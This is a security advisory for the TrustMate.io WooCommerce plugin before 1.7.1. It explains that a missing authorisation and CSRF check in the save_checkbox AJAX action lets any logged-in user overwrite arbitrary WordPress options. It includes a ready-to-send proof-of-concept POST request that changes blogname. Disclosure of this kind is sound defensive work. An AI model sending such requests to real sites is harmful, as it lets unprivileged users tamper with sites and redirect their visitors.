TrustMate.io integration for WooCommerce < 1.7.1 – Subscriber+ Arbitrary Blog Option Update

Description

The plugin does not have any CSRF and authorisation checks in the save_checkbox AJAX action, available to any authenticated users, and do not validate the option key to ensure the option to update belongs to the plugin. As a result, any authenticated user, such as subscriber can update arbitrary WordPress options, for example, the siteurl which would redirect all visitors to an arbitrary website.

v1.7.1 added a check to ensure that the option to be updated starts with trustmate_ but is still missing any authorisation and CSRF checks. A separate issue has been created for it

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 47
Cookie: [any authenticated user, such as subscriber]
Connection: close

action=save_checkbox&checked=Hacked&id=blogname